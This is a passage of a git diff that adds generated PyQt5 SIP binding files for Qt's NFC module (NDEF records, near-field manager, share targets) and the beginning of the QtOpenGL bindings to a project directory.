+%DefaultSupertype sip.simplewrapper + +%Include qndeffilter.sip +%Include qndefmessage.sip +%Include qndefnfcsmartposterrecord.sip +%Include qndefnfctextrecord.sip +%Include qndefnfcurirecord.sip +%Include qndefrecord.sip +%Include qnearfieldmanager.sip +%Include qnearfieldsharemanager.sip +%Include qnearfieldsharetarget.sip +%Include qnearfieldtarget.sip +%Include qqmlndefrecord.sip diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtNfc/qndeffilter.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtNfc/qndeffilter.sip new file mode 100644 index 00000000..9fc12766 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtNfc/qndeffilter.sip @@ -0,0 +1,57 @@ +// qndeffilter.sip generated by MetaSIP +// +// This file is part of the QtNfc Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +%If (Qt_5_5_0 -) + +class QNdefFilter +{ +%TypeHeaderCode +#include +%End + +public: + QNdefFilter(); + QNdefFilter(const QNdefFilter &other); + ~QNdefFilter(); + void clear(); + void setOrderMatch(bool on); + bool orderMatch() const; + + struct Record + { +%TypeHeaderCode +#include +%End + + QNdefRecord::TypeNameFormat typeNameFormat; + QByteArray type; + unsigned int minimum; + unsigned int maximum; + }; + + void appendRecord(QNdefRecord::TypeNameFormat typeNameFormat, const QByteArray &type, unsigned int min = 1, unsigned int max = 1); + void appendRecord(const QNdefFilter::Record &record); + int recordCount() const /__len__/; + QNdefFilter::Record recordAt(int i) const; +}; + +%End diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtNfc/qndefmessage.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtNfc/qndefmessage.sip new file mode 100644 index 00000000..2be8f48a --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtNfc/qndefmessage.sip @@ -0,0 +1,74 @@ +// qndefmessage.sip generated by MetaSIP +// +// This file is part of the QtNfc Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +%If (Qt_5_5_0 -) + +class QNdefMessage +{ +%TypeHeaderCode +#include +%End + +public: + QNdefMessage(); + explicit QNdefMessage(const QNdefRecord &record); + QNdefMessage(const QNdefMessage &message); + QNdefMessage(const QList &records); + bool operator==(const QNdefMessage &other) const; + QByteArray toByteArray() const; + int __len__() const; +%MethodCode + sipRes = sipCpp->count(); +%End + + QNdefRecord __getitem__(int i) const; +%MethodCode + Py_ssize_t idx = sipConvertFromSequenceIndex(a0, sipCpp->count()); + + if (idx < 0) + sipIsErr = 1; + else + sipRes = new QNdefRecord(sipCpp->at((int)idx)); +%End + + void __setitem__(int i, const QNdefRecord &value); +%MethodCode + int len = sipCpp->count(); + + if ((a0 = (int)sipConvertFromSequenceIndex(a0, len)) < 0) + sipIsErr = 1; + else + (*sipCpp)[a0] = *a1; +%End + + void __delitem__(int i); +%MethodCode + if ((a0 = (int)sipConvertFromSequenceIndex(a0, sipCpp->count())) < 0) + sipIsErr = 1; + else + sipCpp->removeAt(a0); +%End + + static QNdefMessage fromByteArray(const QByteArray &message); +}; + +%End diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtNfc/qndefnfcsmartposterrecord.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtNfc/qndefnfcsmartposterrecord.sip new file mode 100644 index 00000000..87443056 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtNfc/qndefnfcsmartposterrecord.sip @@ -0,0 +1,96 @@ +// qndefnfcsmartposterrecord.sip generated by MetaSIP +// +// This file is part of the QtNfc Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +%If (Qt_5_5_0 -) + +class QNdefNfcIconRecord : QNdefRecord +{ +%TypeHeaderCode +#include +%End + +public: + QNdefNfcIconRecord(); + QNdefNfcIconRecord(const QNdefRecord &other); + void setData(const QByteArray &data); + QByteArray data() const; +}; + +%End +%If (Qt_5_5_0 -) + +class QNdefNfcSmartPosterRecord : QNdefRecord +{ +%TypeHeaderCode +#include +%End + +public: + enum Action + { + UnspecifiedAction, + DoAction, + SaveAction, + EditAction, + }; + + QNdefNfcSmartPosterRecord(); + QNdefNfcSmartPosterRecord(const QNdefNfcSmartPosterRecord &other); + QNdefNfcSmartPosterRecord(const QNdefRecord &other); + ~QNdefNfcSmartPosterRecord(); + void setPayload(const QByteArray &payload); + bool hasTitle(const QString &locale = QString()) const; + bool hasAction() const; + bool hasIcon(const QByteArray &mimetype = QByteArray()) const; + bool hasSize() const; + bool hasTypeInfo() const; + int titleCount() const; + QString title(const QString &locale = QString()) const; + QNdefNfcTextRecord titleRecord(const int index) const; + QList titleRecords() const; + bool addTitle(const QNdefNfcTextRecord &text); + bool addTitle(const QString &text, const QString &locale, QNdefNfcTextRecord::Encoding encoding); + bool removeTitle(const QNdefNfcTextRecord &text); + bool removeTitle(const QString &locale); + void setTitles(const QList &titles); + QUrl uri() const; + QNdefNfcUriRecord uriRecord() const; + void setUri(const QNdefNfcUriRecord &url); + void setUri(const QUrl &url); + QNdefNfcSmartPosterRecord::Action action() const; + void setAction(QNdefNfcSmartPosterRecord::Action act); + int iconCount() const; + QByteArray icon(const QByteArray &mimetype = QByteArray()) const; + QNdefNfcIconRecord iconRecord(const int index) const; + QList iconRecords() const; + void addIcon(const QNdefNfcIconRecord &icon); + void addIcon(const QByteArray &type, const QByteArray &data); + bool removeIcon(const QNdefNfcIconRecord &icon); + bool removeIcon(const QByteArray &type); + void setIcons(const QList &icons); + quint32 size() const; + void setSize(quint32 size); + QByteArray typeInfo() const; + void setTypeInfo(const QByteArray &type); +}; + +%End diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtNfc/qndefnfctextrecord.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtNfc/qndefnfctextrecord.sip new file mode 100644 index 00000000..3d95bac7 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtNfc/qndefnfctextrecord.sip @@ -0,0 +1,49 @@ +// qndefnfctextrecord.sip generated by MetaSIP +// +// This file is part of the QtNfc Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +%If (Qt_5_5_0 -) + +class QNdefNfcTextRecord : QNdefRecord +{ +%TypeHeaderCode +#include +%End + +public: + QNdefNfcTextRecord(); + QNdefNfcTextRecord(const QNdefRecord &other); + QString locale() const; + void setLocale(const QString &locale); + QString text() const; + void setText(const QString text); + + enum Encoding + { + Utf8, + Utf16, + }; + + QNdefNfcTextRecord::Encoding encoding() const; + void setEncoding(QNdefNfcTextRecord::Encoding encoding); +}; + +%End diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtNfc/qndefnfcurirecord.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtNfc/qndefnfcurirecord.sip new file mode 100644 index 00000000..2a54f1db --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtNfc/qndefnfcurirecord.sip @@ -0,0 +1,38 @@ +// qndefnfcurirecord.sip generated by MetaSIP +// +// This file is part of the QtNfc Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +%If (Qt_5_5_0 -) + +class QNdefNfcUriRecord : QNdefRecord +{ +%TypeHeaderCode +#include +%End + +public: + QNdefNfcUriRecord(); + QNdefNfcUriRecord(const QNdefRecord &other); + QUrl uri() const; + void setUri(const QUrl &uri); +}; + +%End diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtNfc/qndefrecord.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtNfc/qndefrecord.sip new file mode 100644 index 00000000..99d63d35 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtNfc/qndefrecord.sip @@ -0,0 +1,92 @@ +// qndefrecord.sip generated by MetaSIP +// +// This file is part of the QtNfc Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +%If (Qt_5_5_0 -) + +class QNdefRecord +{ +%TypeHeaderCode +#include +%End + +%ConvertToSubClassCode + QByteArray ndef_type = sipCpp->type(); + + switch (sipCpp->typeNameFormat()) + { + case QNdefRecord::NfcRtd: + if (ndef_type == "Sp") + sipType = sipType_QNdefNfcSmartPosterRecord; + else if (ndef_type == "T") + sipType = sipType_QNdefNfcTextRecord; + else if (ndef_type == "U") + sipType = sipType_QNdefNfcUriRecord; + else + sipType = 0; + + break; + + case QNdefRecord::Mime: + if (ndef_type == "") + sipType = sipType_QNdefNfcIconRecord; + else + sipType = 0; + + break; + + default: + sipType = 0; + } +%End + +public: + enum TypeNameFormat + { + Empty, + NfcRtd, + Mime, + Uri, + ExternalRtd, + Unknown, + }; + + QNdefRecord(); + QNdefRecord(const QNdefRecord &other); + ~QNdefRecord(); + void setTypeNameFormat(QNdefRecord::TypeNameFormat typeNameFormat); + QNdefRecord::TypeNameFormat typeNameFormat() const; + void setType(const QByteArray &type); + QByteArray type() const; + void setId(const QByteArray &id); + QByteArray id() const; + void setPayload(const QByteArray &payload); + QByteArray payload() const; + bool isEmpty() const; + bool operator==(const QNdefRecord &other) const; + bool operator!=(const QNdefRecord &other) const; + long __hash__() const; +%MethodCode + sipRes = qHash(*sipCpp); +%End +}; + +%End diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtNfc/qnearfieldmanager.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtNfc/qnearfieldmanager.sip new file mode 100644 index 00000000..ec4c843f --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtNfc/qnearfieldmanager.sip @@ -0,0 +1,173 @@ +// qnearfieldmanager.sip generated by MetaSIP +// +// This file is part of the QtNfc Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +%If (Qt_5_5_0 -) + +class QNearFieldManager : QObject +{ +%TypeHeaderCode +#include +%End + +%ConvertToSubClassCode + static struct class_graph { + const char *name; + sipTypeDef **type; + int yes, no; + } graph[] = { + {sipName_QNearFieldManager, &sipType_QNearFieldManager, -1, 1}, + {sipName_QNearFieldTarget, &sipType_QNearFieldTarget, -1, 2}, + {sipName_QNearFieldShareManager, &sipType_QNearFieldShareManager, -1, 3}, + {sipName_QQmlNdefRecord, &sipType_QQmlNdefRecord, -1, 4}, + {sipName_QNearFieldShareTarget, &sipType_QNearFieldShareTarget, -1, -1}, + }; + + int i = 0; + + sipType = NULL; + + do + { + struct class_graph *cg = &graph[i]; + + if (cg->name != NULL && sipCpp->inherits(cg->name)) + { + sipType = *cg->type; + i = cg->yes; + } + else + i = cg->no; + } + while (i >= 0); +%End + +public: + enum TargetAccessMode + { + NoTargetAccess, + NdefReadTargetAccess, + NdefWriteTargetAccess, + TagTypeSpecificTargetAccess, + }; + + typedef QFlags TargetAccessModes; + explicit QNearFieldManager(QObject *parent /TransferThis/ = 0); + virtual ~QNearFieldManager(); + bool isAvailable() const; + void setTargetAccessModes(QNearFieldManager::TargetAccessModes accessModes); + QNearFieldManager::TargetAccessModes targetAccessModes() const; + bool startTargetDetection(); + void stopTargetDetection(); + int registerNdefMessageHandler(SIP_PYOBJECT slot /TypeHint="PYQT_SLOT"/); +%MethodCode + QObject *receiver; + QByteArray slot; + + if ((sipError = pyqt5_qtnfc_get_pyqtslot_parts(a0, &receiver, slot)) == sipErrorNone) + { + sipRes = sipCpp->registerNdefMessageHandler(receiver, slot.constData()); + } + else if (sipError == sipErrorContinue) + { + sipError = sipBadCallableArg(0, a0); + } +%End + + int registerNdefMessageHandler(QNdefRecord::TypeNameFormat typeNameFormat, const QByteArray &type, SIP_PYOBJECT slot /TypeHint="PYQT_SLOT"/); +%MethodCode + QObject *receiver; + QByteArray slot; + + if ((sipError = pyqt5_qtnfc_get_pyqtslot_parts(a2, &receiver, slot)) == sipErrorNone) + { + sipRes = sipCpp->registerNdefMessageHandler(a0, *a1, receiver, slot.constData()); + } + else if (sipError == sipErrorContinue) + { + sipError = sipBadCallableArg(2, a2); + } +%End + + int registerNdefMessageHandler(const QNdefFilter &filter, SIP_PYOBJECT slot /TypeHint="PYQT_SLOT"/); +%MethodCode + QObject *receiver; + QByteArray slot; + + if ((sipError = pyqt5_qtnfc_get_pyqtslot_parts(a1, &receiver, slot)) == sipErrorNone) + { + sipRes = sipCpp->registerNdefMessageHandler(*a0, receiver, slot.constData()); + } + else if (sipError == sipErrorContinue) + { + sipError = sipBadCallableArg(1, a1); + } +%End + + bool unregisterNdefMessageHandler(int handlerId); + +signals: + void targetDetected(QNearFieldTarget *target); + void targetLost(QNearFieldTarget *target); + +public: +%If (Qt_5_12_0 -) + + enum class AdapterState + { + Offline, + TurningOn, + Online, + TurningOff, + }; + +%End +%If (Qt_5_12_0 -) + bool isSupported() const; +%End + +signals: +%If (Qt_5_12_0 -) + void adapterStateChanged(QNearFieldManager::AdapterState state /ScopesStripped=1/); +%End +}; + +%End +%If (Qt_5_5_0 -) +QFlags operator|(QNearFieldManager::TargetAccessMode f1, QFlags f2); +%End + +%ModuleHeaderCode +// Imports from QtCore. +typedef sipErrorState (*pyqt5_qtnfc_get_pyqtslot_parts_t)(PyObject *, QObject **, QByteArray &); +extern pyqt5_qtnfc_get_pyqtslot_parts_t pyqt5_qtnfc_get_pyqtslot_parts; +%End + +%ModuleCode +// Imports from QtCore. +pyqt5_qtnfc_get_pyqtslot_parts_t pyqt5_qtnfc_get_pyqtslot_parts; +%End + +%PostInitialisationCode +// Imports from QtCore. +pyqt5_qtnfc_get_pyqtslot_parts = (pyqt5_qtnfc_get_pyqtslot_parts_t)sipImportSymbol("pyqt5_get_pyqtslot_parts"); +Q_ASSERT(pyqt5_qtnfc_get_pyqtslot_parts); +%End diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtNfc/qnearfieldsharemanager.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtNfc/qnearfieldsharemanager.sip new file mode 100644 index 00000000..42a0bc99 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtNfc/qnearfieldsharemanager.sip @@ -0,0 +1,70 @@ +// qnearfieldsharemanager.sip generated by MetaSIP +// +// This file is part of the QtNfc Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +%If (Qt_5_5_0 -) + +class QNearFieldShareManager : QObject +{ +%TypeHeaderCode +#include +%End + +public: + explicit QNearFieldShareManager(QObject *parent /TransferThis/ = 0); + virtual ~QNearFieldShareManager(); + + enum ShareError + { + NoError, + UnknownError, + InvalidShareContentError, + ShareCanceledError, + ShareInterruptedError, + ShareRejectedError, + UnsupportedShareModeError, + ShareAlreadyInProgressError, + SharePermissionDeniedError, + }; + + enum ShareMode + { + NoShare, + NdefShare, + FileShare, + }; + + typedef QFlags ShareModes; + static QNearFieldShareManager::ShareModes supportedShareModes(); + void setShareModes(QNearFieldShareManager::ShareModes modes); + QNearFieldShareManager::ShareModes shareModes() const; + QNearFieldShareManager::ShareError shareError() const; + +signals: + void targetDetected(QNearFieldShareTarget *shareTarget); + void shareModesChanged(QNearFieldShareManager::ShareModes modes); + void error(QNearFieldShareManager::ShareError error); +}; + +%End +%If (Qt_5_5_0 -) +QFlags operator|(QNearFieldShareManager::ShareMode f1, QFlags f2); +%End diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtNfc/qnearfieldsharetarget.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtNfc/qnearfieldsharetarget.sip new file mode 100644 index 00000000..ecc8c82c --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtNfc/qnearfieldsharetarget.sip @@ -0,0 +1,45 @@ +// qnearfieldsharetarget.sip generated by MetaSIP +// +// This file is part of the QtNfc Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +%If (Qt_5_5_0 -) + +class QNearFieldShareTarget : QObject /NoDefaultCtors/ +{ +%TypeHeaderCode +#include +%End + +public: + virtual ~QNearFieldShareTarget(); + QNearFieldShareManager::ShareModes shareModes() const; + bool share(const QNdefMessage &message); + bool share(const QList &files); + void cancel(); + bool isShareInProgress() const; + QNearFieldShareManager::ShareError shareError() const; + +signals: + void error(QNearFieldShareManager::ShareError error); + void shareFinished(); +}; + +%End diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtNfc/qnearfieldtarget.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtNfc/qnearfieldtarget.sip new file mode 100644 index 00000000..f2e58a65 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtNfc/qnearfieldtarget.sip @@ -0,0 +1,132 @@ +// qnearfieldtarget.sip generated by MetaSIP +// +// This file is part of the QtNfc Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +%If (Qt_5_5_0 -) + +class QNearFieldTarget : QObject +{ +%TypeHeaderCode +#include +%End + +public: + enum Type + { + ProprietaryTag, + NfcTagType1, + NfcTagType2, + NfcTagType3, + NfcTagType4, + MifareTag, + }; + + enum AccessMethod + { + UnknownAccess, + NdefAccess, + TagTypeSpecificAccess, + LlcpAccess, + }; + + typedef QFlags AccessMethods; + + enum Error + { + NoError, + UnknownError, + UnsupportedError, + TargetOutOfRangeError, + NoResponseError, + ChecksumMismatchError, + InvalidParametersError, + NdefReadError, + NdefWriteError, +%If (Qt_5_9_0 -) + CommandError, +%End + }; + + class RequestId + { +%TypeHeaderCode +#include +%End + + public: + RequestId(); + RequestId(const QNearFieldTarget::RequestId &other); + ~RequestId(); + bool isValid() const; + int refCount() const; + bool operator<(const QNearFieldTarget::RequestId &other) const; + bool operator==(const QNearFieldTarget::RequestId &other) const; + bool operator!=(const QNearFieldTarget::RequestId &other) const; + }; + + explicit QNearFieldTarget(QObject *parent /TransferThis/ = 0); + virtual ~QNearFieldTarget(); + virtual QByteArray uid() const = 0; + virtual QUrl url() const; + virtual QNearFieldTarget::Type type() const = 0; + virtual QNearFieldTarget::AccessMethods accessMethods() const = 0; + bool isProcessingCommand() const; + virtual bool hasNdefMessage(); + virtual QNearFieldTarget::RequestId readNdefMessages(); + virtual QNearFieldTarget::RequestId writeNdefMessages(const QList &messages); + virtual QNearFieldTarget::RequestId sendCommand(const QByteArray &command); + virtual QNearFieldTarget::RequestId sendCommands(const QList &commands); + virtual bool waitForRequestCompleted(const QNearFieldTarget::RequestId &id, int msecs = 5000) /ReleaseGIL/; + QVariant requestResponse(const QNearFieldTarget::RequestId &id); + void setResponseForRequest(const QNearFieldTarget::RequestId &id, const QVariant &response, bool emitRequestCompleted = true); + +protected: + virtual bool handleResponse(const QNearFieldTarget::RequestId &id, const QByteArray &response); +%If (Qt_5_12_0 -) + void reportError(QNearFieldTarget::Error error, const QNearFieldTarget::RequestId &id); +%End + +signals: + void disconnected(); + void ndefMessageRead(const QNdefMessage &message); + void ndefMessagesWritten(); + void requestCompleted(const QNearFieldTarget::RequestId &id); + void error(QNearFieldTarget::Error error, const QNearFieldTarget::RequestId &id); + +public: +%If (Qt_5_9_0 -) + bool keepConnection() const; +%End +%If (Qt_5_9_0 -) + bool setKeepConnection(bool isPersistent); +%End +%If (Qt_5_9_0 -) + bool disconnect(); +%End +%If (Qt_5_9_0 -) + int maxCommandLength() const; +%End +}; + +%End +%If (Qt_5_5_0 -) +QFlags operator|(QNearFieldTarget::AccessMethod f1, QFlags f2); +%End diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtNfc/qqmlndefrecord.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtNfc/qqmlndefrecord.sip new file mode 100644 index 00000000..70a2510d --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtNfc/qqmlndefrecord.sip @@ -0,0 +1,60 @@ +// qqmlndefrecord.sip generated by MetaSIP +// +// This file is part of the QtNfc Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +%If (Qt_5_5_0 -) + +class QQmlNdefRecord : QObject +{ +%TypeHeaderCode +#include +%End + +public: + enum TypeNameFormat + { + Empty, + NfcRtd, + Mime, + Uri, + ExternalRtd, + Unknown, + }; + + explicit QQmlNdefRecord(QObject *parent /TransferThis/ = 0); + QQmlNdefRecord(const QNdefRecord &record, QObject *parent /TransferThis/ = 0); +%If (Qt_5_6_0 -) + virtual ~QQmlNdefRecord(); +%End + QString type() const; + void setType(const QString &t); + void setTypeNameFormat(QQmlNdefRecord::TypeNameFormat typeNameFormat); + QQmlNdefRecord::TypeNameFormat typeNameFormat() const; + QNdefRecord record() const; + void setRecord(const QNdefRecord &record); + +signals: + void typeChanged(); + void typeNameFormatChanged(); + void recordChanged(); +}; + +%End diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtOpenGL/QtOpenGL.toml b/OTHERS/Jarvis/ools/PyQt5/bindings/QtOpenGL/QtOpenGL.toml new file mode 100644 index 00000000..523734be --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtOpenGL/QtOpenGL.toml @@ -0,0 +1,6 @@ +# Automatically generated configuration for PyQt5.QtOpenGL. + +sip-version = "6.4.0" +sip-abi-version = "12.8" +module-tags = ["Qt_5_15_0", "WS_WIN"] +module-disabled-features = [] diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtOpenGL/QtOpenGLmod.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtOpenGL/QtOpenGLmod.sip new file mode 100644 index 00000000..4211d97f --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtOpenGL/QtOpenGLmod.sip @@ -0,0 +1,50 @@ +// QtOpenGLmod.sip generated by MetaSIP +// +// This file is part of the QtOpenGL Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +%Module(name=PyQt5.QtOpenGL, keyword_arguments="Optional", use_limited_api=True) + +%Import QtCore/QtCoremod.sip +%Import QtGui/QtGuimod.sip +%Import QtWidgets/QtWidgetsmod.sip + +%Copying +Copyright (c) 2021 Riverbank Computing Limited + +This file is part of PyQt5. + +This file may be used under the terms of the GNU General Public License +version 3.0 as published by the Free Software Foundation and appearing in +the file LICENSE included in the packaging of this file. Please review the +following information to ensure the GNU General Public License version 3.0 +requirements will be met: http://www.gnu.org/copyleft/gpl.html. + +If you do not wish to use this file under the terms of the GPL version 3.0 +then you may purchase a commercial license. For more information contact +info@riverbankcomputing.com. + +This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. +%End + +%DefaultSupertype sip.simplewrapper + +%Include qgl.sip diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtOpenGL/qgl.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtOpenGL/qgl.sip new file mode 100644 index 00000000..e9d4f2f4 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtOpenGL/qgl.sip @@ -0,0 +1,336 @@ +// qgl.sip generated by MetaSIP +// +// This file is part of the QtOpenGL Python extension module. +// 